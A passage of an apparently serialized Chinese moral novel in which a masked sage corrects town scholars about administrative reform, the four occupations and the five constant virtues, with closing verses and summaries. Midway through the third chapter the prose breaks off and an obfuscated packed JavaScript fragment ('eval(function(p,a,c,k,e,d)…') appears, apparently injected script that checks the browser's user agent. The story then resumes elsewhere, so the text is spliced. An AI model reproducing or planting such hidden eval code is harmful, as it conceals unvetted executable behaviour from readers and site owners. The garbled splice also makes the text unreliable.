制度宜之又对众人道:“此书可参阅,但需切记:各地改制不同,民生各异。此书所录,只一时一地之得。他日若遇改制之行,当以宜民为本,以便民为要,莫要拘泥成例。” 众人齐声道:“谨记先生教诲!” 制度宜之拱手告辞。贾通今急问:“先生此番何往?” “四方游历,看人论改制、谈行省。”制度宜之道,“看人是重治民,还是重便民;是务虚名,还是务实事。” “先生还会回来么?” “等你们又只知改制之名,不知便民之实;只知行省之数,不知利民之要的时候,我大概就会回来。” 他走了,竹篾斗笠在市集的人流中,时隐时现。粗麻白衣的下摆,扫过尘土,不染一尘。 贾通今对着那背影深深一揖,久久不起。 百姓们也纷纷作揖。 尾声·改制谣 多年后,平阳镇的孩童玩耍时,会唱一首童谣: 古九州,今改制,称行省,三十五。 改制本为民,行省本便民。 贾生卖弄不知本,制度先生来点明。 民生三事减修简,百姓自为克艰难。 从此平阳气象新,改制便民利万民。 舆图不画疆界线,只标民生利与难。 百姓知制亦知行,不行坐等不虚谈。 有外乡人听了,问镇里老人:“这制度先生是何人?” 老人便会指着市集中央的老槐树说:“是位教人明改制、知行省的先生。他来了,贾先生知错了,百姓醒悟了,咱们镇知道改制为民、行省便民了。” “他现在何处?” “不知道。教完道理,他就走了。” “还会回来么?” “等咱们又只知改制之名,不知便民之实的时候,他大概就会回来吧。” 外乡人若有所思,走到槐树下。树上悬着《河东民生舆图》,图旁木牌上刻着那十二字:“古九州,今改制,称行省,三十五。”下面还有一行小字:“改制在便民,行省在利民。民不提,改制虚;民不便,行省空。” 也许那位制度先生,正在某个地方,看人论改制、绘舆图吧。他想。 他走出市集,夕阳西下。百姓们收拾货摊,说笑归家。改制之事,看似宏大,实则就在这柴米油盐、道路章程之中。 本章诫世 一、 改制真义训 - 古九州,今改制,称行省,三十五 - 破解法:为民者,自问“可知改制之本?知行省之要?可知便民利民?可曾盲从虚名?”;为士者,自问“可卖弄改制?可空谈行省?可知民生利弊?可曾务实便民?” 二、 三谬三正 - 贾通今之谬在“卖弄”——只知改制之名,不知便民之实 - 舆图之谬在“空泛”——只标疆界地名,不标民生利弊 - 百姓之谬在“盲从”——只知行省治民,不知便民利民 - 三正:贾通今明改制便民,百姓知行省利民,平阳务民生实事 三、 宜之大道 - 深层隐喻:改制更迭,行省设立,本为便民利民。然世人多重其名,不重其实;多言治民,少言便民。改制之要,在宜不在更;行省之要,在便不在设。宜民便民,方是改制之本、行省之要 - 终极指向:世事更迭,制度变迁,当以宜民便民为衡。民便则制善,民宜则制行。若制不便民,虽名目繁复,亦是虚文;若制宜民,虽简朴无华,亦是善政。百姓知之,则不受虚治;百姓行之,则不坐等空谈 改制偈: 平阳镇里贾通今,卖弄改制不知本。 只知行省三十五,不知便民利民生。 制度先生来点化,改制在便民为本。 舆图不画疆界线,只标民生利与难。 从此百姓明改制,便民利民自为生。 后世叹: 古九州,今改制,称行省,三十五。 贾生卖弄不知本,百姓盲从受虚治。 制度先生来点化,改制便民是本真。 三年民生自为计,平阳气象焕然新。 正是: 平阳市集槐树下,贾生妄谈改制名。 只知行省三十五,不知便民利民生。 制度先生来点破,改制在便民为本。 舆图重绘民生事,百姓自为克艰难。 从此改制不再虚,行省便民利万民。 101.四民谳 楔子·庙会高论 临江镇有座城隍庙,每逢初一十五有庙会。这日正值十五,庙前广场人山人海,杂耍卖艺、小吃百货琳琅满目。广场东角有棵大榆树,树下常有些闲人谈天说地。 今日榆树下格外热闹,一个穿绸袍、摇折扇的中年人正在高谈阔论。此人姓“高”,名“论民”,是镇上“文会”的会首,以博学善辩闻名。 高论民手执折扇,指点四方:“……故曰:士农工商,此四民,国之良!列位可知,为何此四民是国之良?” 围观的多是些市井百姓,有卖菜的、打铁的、开店的、行脚的,纷纷摇头。 “这都不明?”高论民摇扇笑道,“士者,读书明理,为官治民,乃国之栋梁;农者,耕田种地,产粮供食,乃国之根本;工者,制器造物,便利民生,乃国之巧匠;商者,流通货殖,互通有无,乃国之血脉。此四民各司其职,各安其业,则国泰民安,岂非国之良?” 众人点头称是。卖菜的王老憨挠头道:“高先生说得是,咱们种菜的、卖菜的,也是国之良?” “自然是良!”高论民用扇子点着王老憨,“你是农,种菜供食,是国之根本;他,”又点着旁边打铁的李铁匠,“是工,打铁制器,是国之巧匠;他,”再点着对面开布庄的赵掌柜,“是商,贩布流通,是国之血脉。皆是国之良民!” 李铁匠憨笑:“原来咱们打铁的,也是国之良。” 赵掌柜拱手:“高先生高见。” 高论民更得意了:“然此四民,亦有贵贱尊卑。士为首,农次之,工再次,商为末。此乃圣人定序,天经地义。故士子当苦读,以求功名;农夫当勤耕,以供粮米;工匠当精艺,以制器物;商贾当守信,以通货殖。各守本分,各尽其责,方是四民之道。” 这时,人群中响起一个清朗的声音:“此言差矣。” 众人望去,见说话的是个戴斗笠、蒙面纱、穿白衣的外乡人。那斗笠是用蒲草与竹篾混编的,边缘缀着几缕风干的蓼草。白衣是细麻所制,已洗得泛黄,腰间用麻绳系一柄木剑。面纱是粗葛布,遮住了大半张脸,只露出一双沉静的眼睛。 高论民皱眉:“这位兄台,差在何处?” “士农工商,此四民,国之良。”那人缓缓念出这十二字,声音平稳,“此话不错。但高先生说四民有贵贱尊卑,士为首,商为末,却是错了。” “错了?”高论民不悦,“士农工商,自古如此排序,岂会有错?” “排序不差,贵贱之差却是谬误。”那人走出人群,对众人拱手,“列位乡邻,士农工商,皆是国之良民,何来贵贱?士子读书明理,是为治学;农夫耕田种地,是为产粮;工匠制器造物,是为便利;商贾流通货殖,是为互通。四民各有所长,各有所用,皆是国之所赖,民之所需,何分贵贱?” 众人窃窃私语。高论民面红耳赤:“圣人云:‘士农工商,国之四民。’既分四等,自有尊卑!” “圣人只说四民,未言贵贱。”那人道,“高先生所引,乃后人妄解。敢问高先生,若无农夫种粮,士子何食?若无工匠制器,农夫何耕?若无商贾流通,工匠所制器物、农夫所产粮米,如何互通有无?四民相需,缺一不可,岂可强分贵贱?” 高论民语塞。 那人又问众人:“列位以为,种粮的农夫,与制器的工匠,孰贵孰贱?” 王老憨憨笑:“都一样,都一样。我种菜,李铁匠打铁,赵掌柜卖布,都是干活吃饭。” 李铁匠点头:“是啊,没我打的锄头,王老憨咋种菜?没赵掌柜卖布,咱们穿啥?” 赵掌柜也道:“没王老憨种的菜,咱们吃啥?没李铁匠打的锅,咱们咋做饭?都一样的。” 那人点头:“正是。四民相需,本无贵贱。强分贵贱,是见高不见低,见首不见尾,谬矣。” 高论民强辩道:“纵无贵贱,也有本末!士农为本,工商为末,此乃圣人之教!” “本末之论,亦是谬误。”那人从怀中取出一卷发黄的古籍,展开示众,“此乃《管子》,管子有云:‘士农工商四民者,国之石民也。’石民者,柱石之民,皆是国之根本,何来本末?管子又云:‘四民分业而居,则国治。’分业而居,各安其业,各尽其能,如此而已,何曾言本末?” 众人围观,果见古籍有载。 高论民冷汗涔涔,仍强撑道:“纵……纵是柱石,也有主次!” “主次可分,贵贱不可分;先后可分,尊卑不可分。”那人收起古籍,正色道,“国之大事,农为先,因民以食为天;工为次,因器以利其用;商为通,因货以畅其流;士为导,因学以明其理。此是先后之用,非贵贱之别。若强分贵贱,则农工自卑,商贾自贱,士子自矜,四民相轻,岂是国之福?” 他转向高论民:“高先生是文会会首,当是士子。敢问高先生,可曾耕田?” “不……不曾。” “可曾打铁?” “不曾。” “可曾行商?” “不曾。” “既不曾耕田打铁行商,何以轻农贱工鄙商?若无农,先生何食?若无工,先生何衣何住?若无商,先生何来书籍纸墨?先生今日所穿绸袍,所执折扇,所立之地,所食之米,哪一样不是农工商所供?既受其供,又轻其人,岂非忘本?” 高论民面如死灰,无言以对。 众人哗然。有那明白的,叹道:“这位先生说得是!咱们种地的、打铁的、卖货的,都是凭本事吃饭,凭啥低人一等?” “是啊,读书人是聪明,可没咱们种地,他们吃啥?没咱们打铁,他们用啥?没咱们卖货,他们穿啥?” “原来四民都是一样的,都是国之良!” 那人拱手道:“今日多言,望列位明理:士农工商,皆是国之良民,各有所长,各有所用,本无贵贱。士子当敬农重工恤商,农工当尊士重学知商,商贾当敬士重农贵工。四民相敬,各安其业,各尽其能,方是国之良,民之福。” 说罢,他转身欲走。 “先生留步!”高论民忽然深揖一礼,“先生一席话,振聋发聩。高某坐井观天,妄分贵贱,贻笑大方。敢问先生高姓大名?” “我姓民,名本,字同之。” “民本同之……”高论民喃喃,忽问,“先生这《管子》,可否借我一观?” “可。”民本同之递过古籍,“此书可传阅,然需切记:四民皆本,无分贵贱。士农工商,相需相成,缺一不可。” 高论民双手接过,如获至宝。 民本同之又对众人道:“道理在此,列位可思可辩。然需切记:口说无凭,行事为真。四民相敬,当在平日言行,不在口头虚言。” 说罢,他戴上斗笠,走入人群,白衣飘飘,转瞬不见。 一、 高论民的悔悟 民本同之走后,高论民在榆树下呆立良久。他展开《管子》,细读“四民者,国之石民”之句,又读“四民分业而居,则国治”之言,越读越心惊。 “我妄自尊大二十年啊!” 他想起自己身为文会会首,常以士子自矜,轻农贱工鄙商。见农夫,嫌其粗鄙;见工匠,嫌其低贱;见商贾,嫌其铜臭。以为唯有读书人最高,其余皆等而下之。 “那位先生说得好,四民相需,缺一不可。我今日所食之米,是农人所种;所穿之衣,是工所织、商所贩;所住之屋,是工所建;所读之书,是工所印、商所售。我受四民之供,却轻四民之人,岂非忘本?” 他羞愧难当,当即将《管子》悬于榆树下,对围观未散的众人深揖一礼。 “高某妄自尊大,误人误己。从今日起,高某当闭门思过,研习四民相需之理,再不妄分贵贱!” 众人见他诚恳,便劝道:“高先生知错能改,善莫大焉。只是这道理,咱们还想听。” 高论民便道:“《管子》在此,列位可随意观览。高某每日在此讲解,与列位共学!” 从此,每逢庙会,高论民便在榆树下讲解四民之道。他不再说“士为首,商为末”,而是讲解四民相需、各有所长。他结合临江镇实际,讲士子、农夫、工匠、商贾如何各尽其能,如何相需相成。 “列位看,咱们临江镇,有读书人,有种田人,有手艺人,有买卖人。读书人明理,可教子弟,可解纠纷;种田人产粮,可饱肚腹,可供赋税;手艺人制器,可利耕种,可便生活;买卖人流通,可货有无,可促繁荣。四民各有所长,各有所用,皆是镇之良民,岂可分贵贱?” 他讲得实在,众人听得入心。有那常被轻贱的工匠、商贾,眼圈泛红。 “原来咱们打铁的,也是国之良民!” “咱们卖布的,也是国之血脉!” “读书人聪明,可没咱们,他们吃啥穿啥?” 高论民又道:“四民相需,当相敬。读书人当敬农人辛劳,重工匠精巧,恤商贾奔波;农人当敬读书人明理,重工匠制器,知商贾流通;工匠当敬读书人学问,重农人勤劳,贵商贾货殖;商贾当敬读书人清高,重农人本分,贵工匠技艺。如此相敬,方是四民之道。” 众人称是。高论民又在榆树下立了块木牌,上书:“士农工商,此四民,国之良。四民相需,无贵贱;四民相敬,各尽能。” 二、 四民的醒悟 高论民在榆树下讲四民相需、无分贵贱,临江镇的四民渐渐醒悟。 从前,士子自觉高人一等,见农工商,多带轻蔑;农人自觉低人一头,见士子,多带敬畏;工匠自觉卑微,见士农,多带谦卑;商贾自觉轻贱,见士农工,多带讨好。四民之间,虽有往来,却隔着一层贵贱尊卑的膜。 如今,他们明白了:四民皆是国之良民,各有所长,各有所用,本无贵贱。士子读书明理,农人耕田产粮,工匠制器便利,商贾流通货殖,皆是本分,皆是贡献。 “原来咱们都是一样的!” “是啊,都是凭本事吃饭,凭啥分高低?” “往后啊,读书的别瞧不起种田的,种田的也别怕读书的;打铁的别自卑,卖布的也别讨好。各干各的,互相敬着,才是正理。” 有那开明的士子,开始主动与农工商交往。见农人,问收成辛苦;见工匠,问技艺巧拙;见商贾,问行情起伏。农人工匠商贾,也敢与士子平等交谈,说农事,论手艺,谈买卖。 镇东头的张秀才,从前见人总端着架子,如今常去王老憨的菜摊买菜,与王老憨聊农时雨水。王老憨起初拘谨,后来也敢说:“张秀才,你们读书人脑子灵,帮我算算这笔账。” 镇西头的李铁匠,从前见读书人总低头哈腰,如今敢与张秀才论铁器火候。张秀才赞他手艺精,他憨笑:“混口饭吃,混口饭吃。” 镇南头的赵掌柜,从前见读书人总想巴结,如今敢与张秀才论行情利弊。张秀才说:“赵掌柜走南闯北,见识广。”赵掌柜摆手:“瞎跑,瞎跑。” 四民间那层膜,渐渐薄了,渐渐透了。 有那大事,四民也共商。修桥,士子出谋划策,农人出工出力,工匠出技施工,商贾出资出料。办学,士子任教,农人供粮,工匠制桌椅,商贾捐书籍。四民合力,其利断金。 高论民在榆树下,将四民合力之事一一记录,成《临江四民纪事》。他携此册,奔走于文会、行会之间,倡导四民相敬、各尽所能。 文会士子见高论民变了,也渐改前非。行会工匠、商贾,见士子诚心,也渐敞心扉。四民间,不再有那莫名的轻贱与敬畏,多了平等的相需与相敬。 三、 《管子》的流传 高论民倡四民相敬之事,渐传周边。附近乡镇的士农工商,闻讯来临江镇取经。高论民便将《管子》借出传抄,更将《临江四民纪事》广为散发。 “四民皆是国之良,无分贵贱。此理通行天下。” “咱们士农工商,当相敬相需,各安其业,各尽其能。” “临江纪事,可供参考。但各地民情不同,当因地制宜。” 抄书者、传册者,回去后亦在本地宣讲。有那开明的乡绅、会首,亦加入其中。一时间,“四民相需,无分贵贱”之理,传遍州县。 有那固执的士子,初闻此理,不以为然。但见四民合力,实事频成,也渐改观念。有那自卑的农工商,初闻此理,不敢置信。但见士子诚心,也渐挺直腰杆。 民本同之的名声,渐渐在州县传开。都说有位戴蒲草斗笠、蒙葛布的高人,明辨四民,点破迷障,使人明“四民皆本”之理,知“相需相敬”之要。 四、 三年后的庙会 三年后的一个庙会日,榆树下又围满了人。不仅有临江镇的四民,还有周边乡镇的士农工商。 高论民正在讲解“士农工商,国之良”。 “……故曰:四民相需,缺一不可。士者,国之导,导人以理;农者,国之本,本以食天;工者,国之巧,巧以利民;商者,国之脉,脉以通物。四民各有所长,各有所用,皆是柱石,岂可分贵贱?” 他指着榆树下悬着的《管子》与《临江四民纪事》,道:“列 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他转向众人:“列位当谨记:为士者,当以明理导人,非以清高凌人;为农者,当以勤劳立身,非以卑下屈人;为工者,当以精巧利人,非以低贱卑己;为商者,当以诚信待人,非以铜臭媚人。四民各守其德,各尽其业,方是良民。” 众人齐声道:“谨记先生教诲!” 民本同之从怀中取出一卷书,递给高论民:“此乃《四民通义》,是我游历各地,记录四民贤愚、业德之鉴所编。你可传抄于众,供四民参考。” 高论民双手接过,如获至宝。 民本同之又对众人道:“此书可参阅,但需切记:四民之道,在行不在言。口说相敬,不如行事相敬;口说合力,不如实事合力。四民皆良,良在行,不在名。” 说罢,他戴上斗笠,走入庙会人群。蒲草斗笠在夕阳下,泛着温暖的光。粗麻白衣的下摆,扫过尘土,不染一尘。 高论民对着那背影深深一揖,久久不起。 四民们也纷纷作揖。 尾声四民谣 多年后,临江镇的孩童玩耍时,会唱一首童谣: 士农工商四民良,各有所长各所长。 高生妄分贵与贱,民本先生来点详。 四民相需无高下,合力修桥办学堂。 从此临江气象新,四民相敬乐安康。 为士明理不凌人,为农勤劳不屈身。 为工精巧不卑己,为商诚信不媚人。 有外乡人听了,问镇里老人:“这民本先生是何人?” 老人便会指着城隍庙前的榆树说:“是位教人明四民、知相需的先生。他来了,高先生知错了,四民醒悟了,咱们镇知道四民皆良、无分贵贱了。” “他现在何处?” “不知道。教完道理,他就走了。” “还会回来么?” “等咱们又分贵贱、相轻相鄙的时候,他大概就会回来吧。” 外乡人若有所思,走到榆树下。树上悬着《管子》与《临江四民纪事》,木牌上刻着那十二字:“士农工商,此四民,国之良。”下面还有一行小字:“四民相需,无贵贱;四民相敬,各尽能。” 也许那位民本先生,正在某个地方,看人论四民、行相敬吧。他想。 他走出庙会,夕阳西下。卖菜的收摊,打铁的熄火,掌柜的上板,士子归家。四民之业,看似有别,实则在这炊烟灯火中,早已相融。 本章诫世 一、 四民真义训 - 曰士农,曰工商。此四民,国之良 - 破解法:为士者,自问“可轻农贱工鄙商?可知四民相需?可曾相敬?”;为农工商者,自问“可自卑自贱?可知各有所长?可曾自尊自重?” 二、 三谬三正 - 高论民之谬在“妄分贵贱”——以士为首,轻农贱工鄙商 - 世俗之谬在“盲从尊卑”——士自矜,农自卑,工自贱,商自媚 - 四民之谬在“相轻相鄙”——士轻农工商,农畏士鄙工商,工贱士农媚商,商媚士农贱工 - 三正:高论民倡四民相需,四民明无贵贱,临江行相敬合力 三、 同之大道 - 深层隐喻:士农工商,皆是国之柱石,民之根本。各有所长,各有所用,相需相成,缺一不可。强分贵贱,则四民相轻;妄别尊卑,则各业相鄙。四民之道,在相敬非相轻,在相需非相斥,在合力非相抵 - 终极指向:世人从业,本无贵贱。士以学明理,农以耕养民,工以艺利人,商以通便民,皆是本分,皆是贡献。敬人者,人恒敬之;重人者,人恒重之。四民相敬,则业兴事成;四民相轻,则业衰事废。人之处世,当敬人敬业,自重自尊 四民偈: 临江镇上高论民,妄分四民贵贱等。 士首商末谬论传,四民相轻难同心。 民本先生来点化,四民相需皆柱石。 从此相敬各尽力,修桥办学事竟成。 后世叹: 曰士农,曰工商,此四民,国之良。 高生妄分贵贱等,四民相轻难同心。 民本先生来点化,四民相需无卑尊。 三载相敬合力事,临江气象焕然新。 正是: 城隍庙会榆树下,高生妄论四民道。 士首商末分贵贱,四民相轻难同心。 民本先生来点破,四民相需皆柱石。 从此临江气象新,相敬合力事竟成。 102.五常谳 楔子·祠堂谬训 清河镇有座老祠堂,每逢初一十五,镇中学塾的夫子便会在此开讲,教化乡民。这日正值初一,祠堂天井里已坐满了人。当中摆一张方桌,桌后端坐着镇上“德高望重”的耆老——姓“常”,名“守礼”,是镇里公认最“明礼”的先生。 常守礼年过花甲,须发皆白,手持一卷《礼经》,正襟危坐,声音洪亮:“……故曰:仁义礼智信,此五常,不容紊!列位可知,何谓五常?” 众人多是镇中百姓,有开茶馆的、卖豆腐的、做木工的、跑脚力的,纷纷摇头。 “这都不知?”常守礼将《礼经》置于桌上,捋须道,“仁者,爱人;义者,宜也;礼者,仪也;智者,明也;信者,诚也。此五者,人之常行,如日月星辰,不可紊乱。为人处世,当以仁为本,以义为则,以礼为规,以智为用,以信为诺。此乃圣人之教,万世之基!” 众人点头称是。开茶馆的刘掌柜问道:“常老先生,咱们寻常百姓,该如何守这五常?” “问得好!”常守礼赞道,“仁,便是要爱人。见人饥寒,当施粥赠衣;见人危难,当伸手相救。义,便是要守宜。该做的事,当仁不让;不该做的事,分毫不取。礼,便是要守仪。长幼有序,男女有别,尊卑有等,不可僭越。智,便是要明理。明是非,辨善恶,知进退。信,便是要守诺。言出必践,一诺千金。” 他顿了顿,环视众人:“此五常,人人当守,时时当守,处处当守。守之则为人,违之则为禽兽!” 众人凛然。做木工的王木匠憨厚笑道:“常老先生说得是,咱们做人,就得守仁义礼智信。” “正是!”常守礼道,“譬如你王木匠,做桌椅要实在,不可偷工减料,这便是信;见邻里困难,当搭手相助,这便是仁;该收的工钱收,不该收的分文不取,这便是义;见长者要敬,见幼者要爱,这便是礼;活计要精,心思要巧,这便是智。五常俱备,方是良民!” 王木匠被夸得满脸通红,连连点头。 这时,祠堂门外传来一个清朗的声音:“此言谬矣。” 众人望去,见门外立着一人。斗笠是用芦苇与细竹混编的,檐边垂着几缕风干的蒲草。白衣是粗麻所制,洗得发白,袖口肘部打着整齐的补丁。腰间系一柄木剑,剑柄缠着褪色的青布。脸上蒙着葛布面纱,只露出一双澄澈如秋水的眼睛。 常守礼眉头一皱:“这位兄台,谬在何处?” “仁义礼智信,此五常,不容紊。”那人缓步走入天井,声音平和,“此话不错。但常老先生说‘守之则为人,违之则为禽兽’,却是谬了。” “谬了?”常守礼不悦,“五常乃人伦之基,违之岂非禽兽?” “五常是人伦,非是枷锁。”那人对众人拱手,“列位乡邻,仁者爱人,不错。然爱人亦有道,不可滥爱。见人饥寒,施粥赠衣,是仁;然若自身不保,强施于人,是愚仁。见人危难,伸手相救,是仁;然若不量力而行,是妄仁。仁当有度,有度方为真仁。” 众人窃窃私语。常守礼面沉似水:“那义又如何?” “义者宜也,不错。”那人道,“然宜与不宜,当审时度势。该做的事,当仁不让,是义;然若时机不宜,强行而做,是鲁义。不该做的事,分毫不取,是义;然若情势所迫,权宜而为,是权义。义当有变,有变方为真义。” “礼呢?”常守礼声音渐冷。 “礼者仪也,不错。”那人道,“然仪是表,心是本。长幼有序,不错,然序在心敬,非在形拘。男女有别,不错,然别在体异,非在分贵。尊卑有等,不错,然等在德高,非在位尊。礼当有实,有实方为真礼。若只重形式,不重本心,是虚礼;若只重尊卑,不重德能,是腐礼。” 常守礼额角见汗:“智又当如何?” “智者明也,不错。”那人道,“然明是非,亦须知变通。是者是,然是中有非;非者非,然非中有是。善者善,然善中有恶;恶者恶,然恶中有善。进宜进,然进中有退;退宜退,然退中有进。智当有辨,有辨方为真智。若一味执是,是愚智;若一味执进,是莽智。” “那信呢?”常守礼声音已颤。 “信者诚也,不错。”那人道,“然一诺千金,亦须知权变。言出必践,是信;然若所诺非宜,强践是愚信。诺当有度,有度方为真信。若为守诺而害人害己,是妄信;若为守诺而悖理违情,是痴信。” 他转向常守礼:“常老先生,五常是常,非常死。仁有度,义有变,礼有实,智有辨,信有权。若将五常奉为铁律,不容丝毫紊乱,则是以常缚人,以德杀人。此非圣人之教,乃腐儒之见。” 常守礼面色发白,强撑道:“你……你妄解圣教!五常乃天地至理,岂容变通?” 那人摇头:“天地尚可变,四时且有更,何况人伦?圣人制五常,是为导人向善,非为缚人手足。仁而无度,是滥;义而无变,是僵;礼而无实,是虚;智而无辨,是愚;信而无权,是痴。此五者,是谓‘五常之蔽’。” 他从怀中取出一卷古旧的竹简,展开示众:“此乃《礼记》残篇,有云:‘礼,时为大。’又云:‘义者,宜也。宜者,时中也。’礼以时为重,义以时宜为中。仁、智、信,亦当如是。五常当合时宜,当有变通,岂可死守?” 众人围观,果见竹简上有此语。 常守礼踉跄一步,跌坐椅上,喃喃道:“时为大……时宜……难道我错了?” 众人哗然。有明白的,叹道:“这位先生说得是!仁得有度,不能滥施。前年闹饥荒,李善人把自家粮全施了,结果自家饿死三口,这不是愚仁么?” “义得有变。去年王二狗见义勇为,赤手空拳斗三个持刀匪徒,结果被砍成重伤,这不是鲁义么?” “礼得有实。咱们镇东赵老爷,见人就讲礼,可背地里欺男霸女,这不是虚礼么?” “智得有辨。孙秀才读死书,见人偷东西,就说‘窃钩者诛’,可那人是为救病母,这不是愚智么?” “信得有权。周掌柜答应三日交货,可原料断了,硬要赶工,结果出次品赔光家底,这不是痴信么?” 那人点头:“正是。五常是好,然需有度、有变、有实、有辨、有权。若死守字面,不知变通,反成其害。” 他转向常守礼:“常老先生教人守五常,是善心。然以五常为铁律,不容丝毫紊乱,是过矣。仁而无度,反成害仁;义而无变,反成害义;礼而无实,反成害礼;智而无辨,反成害智;信而无权,反成害信。此非导人向善,是陷人于阱。” 常守礼冷汗涔涔,无言以对。 那人拱手道:“今日多言,望列位明理:仁义礼智信,此五常,是好。然常是常道,非常死。仁当有度,义当有变,礼当有实,智当有辨,信当有权。守常而不泥常,执德而不拘德,方是圣人之教,人伦之真。” 说罢,转身欲走。 “先生留步!”常守礼颤巍巍起身,深揖一礼,“先生一席话,如暮鼓晨钟。老朽食古不化,以常杀人,误人误己。敢问先生高姓大名?” “我姓常,名道,字化之。” “常道化之……”常守礼喃喃,忽问,“先生这《礼记》残篇,可否借老朽一观?” “可。”常道化之递过竹简,“此简可传阅,然需切记:五常是常道,非是铁律。守常当化,执德当通。过犹不及,执常成蔽。” 常守礼双手接过,如捧至宝。 常道化之又对众人道:“道理在此,列位可思可悟。然需切记:口说仁义,不如行事有度;口说礼智,不如处世有方。五常之要,在行不在言,在实不在虚,在化不在泥。” 说罢,他戴上斗笠,走出祠堂。芦苇斗笠在晨光中泛着微光,粗麻白衣的下摆扫过门槛,无声无息。 一、 常守礼的悔悟 常道化之走后,常守礼在祠堂中呆立良久。他展开《礼记》残篇,细读“礼,时为大”、“义者,宜也。宜者,时中也”等语,又回想常道化之所言,越思越心惊。 “我误人子弟三十载啊!” 他想起自己教书育人三十年,总以“五常不容紊”为铁律,教人死守仁义礼智信。见人行善过度,赞曰“仁人”;见人鲁莽行义,赞曰“义士”;见人虚礼做作,赞曰“守礼”;见人死读书不知变通,赞曰“明智”;见人痴守信诺不顾情理,赞曰“诚信”。却不知,过仁是愚,过义是鲁,虚礼是伪,愚智是呆,痴信是傻。 “那位先生说得好,五常是常道,非是铁律。仁当有度,义当有变,礼当有实,智当有辨,信当有权。我以铁律教人,岂不是以常杀人?” 他羞愧难当,当即将《礼经》收起,将《礼记》残篇悬于祠堂,对还未散去的众人深揖一礼。 “老朽食古不化,误人子弟。从今日起,老朽当闭门思过,重解五常,再不教人死守!” 众人见他诚恳,便劝道:“常老先生知错能改,善莫大焉。只是这五常,咱们还想听正解。” 常守礼便道:“《礼记》在此,列位可随意观览。老朽每日在此讲解,与列位共悟!” 从此,每逢初一十五,常守礼便在祠堂开讲五常新义。他不再说“五常不容紊”,而是讲解五常之度、之变、之实、之辨、之权。他结合清河镇实际,讲仁、义、礼、智、信的真义。 “列位,仁者爱人,是常道。然爱人有度,不可滥爱。譬如施粥,自家有余,施是仁;自家不足,强施是愚。救人危难,量力而行,是仁;不量力而行,是妄。此谓仁有度。” “义者宜也,是常道。然宜有时,不可僵守。譬如行义,时机合宜,当仁不让;时机不宜,当暂退让。此谓义有变。” “礼者仪也,是常道。然仪是表,心是本。敬长者,是礼;然若长者无德,敬而不从,亦是礼。男女有别,是礼;然别在体,心可相通。此谓礼有实。” “智者明也,是常道。然明需辨,不可执一。是是非非,当细辨之;善善恶恶,当深察之;进进退退,当权宜之。此谓智有辨。” “信者诚也,是常道。然诚有权,不可痴守。诺言当践,然若所诺非宜,可商可改;若强践而害人害己,是痴。此谓信有权。” 他讲得通透,众人听得豁然开朗。有那曾因“愚仁”、“鲁义”、“虚礼”、“愚智”、“痴信”吃过亏的,感慨万千。 “原来仁义礼智信,得这么守!” “是啊,仁得有度,不能滥施;义得有变,不能鲁莽;礼得有实,不能虚伪;智得有辨,不能死板;信得有权,不能痴傻。” “常老先生这么一讲,咱们就明白了!” 常守礼又在祠堂立了块木牌,上书:“仁义礼智信,此五常,不容紊。然常有度,义有变,礼有实,智有辨,信有权。守常不泥,执德不拘。” 二、 百姓的醒悟 常守礼在祠堂讲五常新义,清河镇的百姓渐渐醒悟。 从前,他们以为仁就是滥施,义就是鲁莽,礼就是虚套,智就是死读,信就是痴守。行善不同自身,是仁;打抱不同量力,是义;见人就鞠躬,是礼;读书不同变通,是智;许诺不同权宜,是信。结果,滥施的饿死自家,鲁莽的伤残自身,虚套的被人看轻,死读的误人误己,痴守的倾家荡产。 如今,他们明白了:仁要有度,量力而行;义要有变,审时度势;礼要有实,心诚为本;智要有辨,明察秋毫;信要有权,通权达变。五常是好,然过犹不及,执常成蔽。 “原来仁义礼智信,得这么用!” “可不是么!前街张寡妇,把自家口粮全施给乞丐,结果自己饿得昏倒,这不是仁,是傻!” “西巷李二愣,见三个汉子欺负一个,赤手空拳就上,结果被打断腿,这不是义,是莽!” “东市王掌柜,见人就作揖,背地里坑蒙拐骗,这不是礼,是伪!” “南街赵秀才,读死书,见贼偷救命粮,还念‘君子不欺暗室’,这不是智,是呆!” “北街周铁匠,答应三日交货,可铁料断了,硬要赶,结果出次品赔光,这不是信,是痴!” 有那吃过亏的,现身说法,劝人莫要“愚仁”、“鲁义”、“虚礼”、“愚智”、“痴信”。有那开明的,开始践行“有度之仁”、“有变之义”、“有实之礼”、“有辨之智”、“有权之信”。 施粥的,先量自家余粮;救人的,先估自身能力;行礼的,心诚为本;读书的,明辨为要;许诺的,权宜为度。 镇上的风气,为之一新。滥施的少了,量力而行的多了;鲁莽的少了,审时度势的多了;虚伪的少了,心诚的多了;死板的少了,变通的多了;痴傻的少了,通权的多了。 常守礼在祠堂,将百姓践行五常新义的事一一记录,成《清河五常新事》。他携此册,奔走于乡邻之间,倡行“有度之仁、有变之义、有实之礼、有辨之智、有权之信”。 乡邻们见常守礼变了,也渐改前非。有那曾因“愚仁”饿倒的张寡妇,如今施粥量力而为,自家保有余粮,还能长施。有那曾因“鲁义”断腿的李二愣,如今救人先估量,或呼救,或智取,再不莽撞。有那曾因“虚礼”被人看轻的王掌柜,如今以诚待人,生意反而好了。有那曾因“愚智”误事的赵秀才,如今读书明辨,处事有方。有那曾因“痴信”赔光的周铁匠,如今许诺有度,有诺必践,若遇变故,则与主家商议,主家也体谅。 五常新义,渐入人心。 三、 《礼记》的流传 常守礼倡五常新义之事,渐传周边。附近乡镇的夫子、乡绅,闻讯来清河镇取经。常守礼便将《礼记》残篇借出传抄,更将《清河五常新事》广为散发。 “五常是常道,非是铁律。此理通行天下。” “仁当有度,义当有变,礼当有实,智当有辨,信当有权。过犹不及,执常成蔽。” “清河新事,可供参考。但各地民情不同,当因地制宜。” 抄书者、传册者,回去后亦在本地宣讲。有那开明的夫子、乡绅,亦加入其中。一时间,“五常有度、有变、有实、有辨、有权”之理,传遍州县。 有那固执的老儒,初闻此理,斥为“离经叛道”。但见百姓践行,实有裨益,也渐改观念。有那曾因死守五常吃亏的,闻此理如获至宝。 常道化之的名声,渐渐在州县传开。都说有位戴芦苇斗笠、蒙葛布的高人,深明五常,点破迷障,使人明“五常是常道,非是铁律”之理,知“守常当化,执德当通”之要。 四、 三年后的祠堂 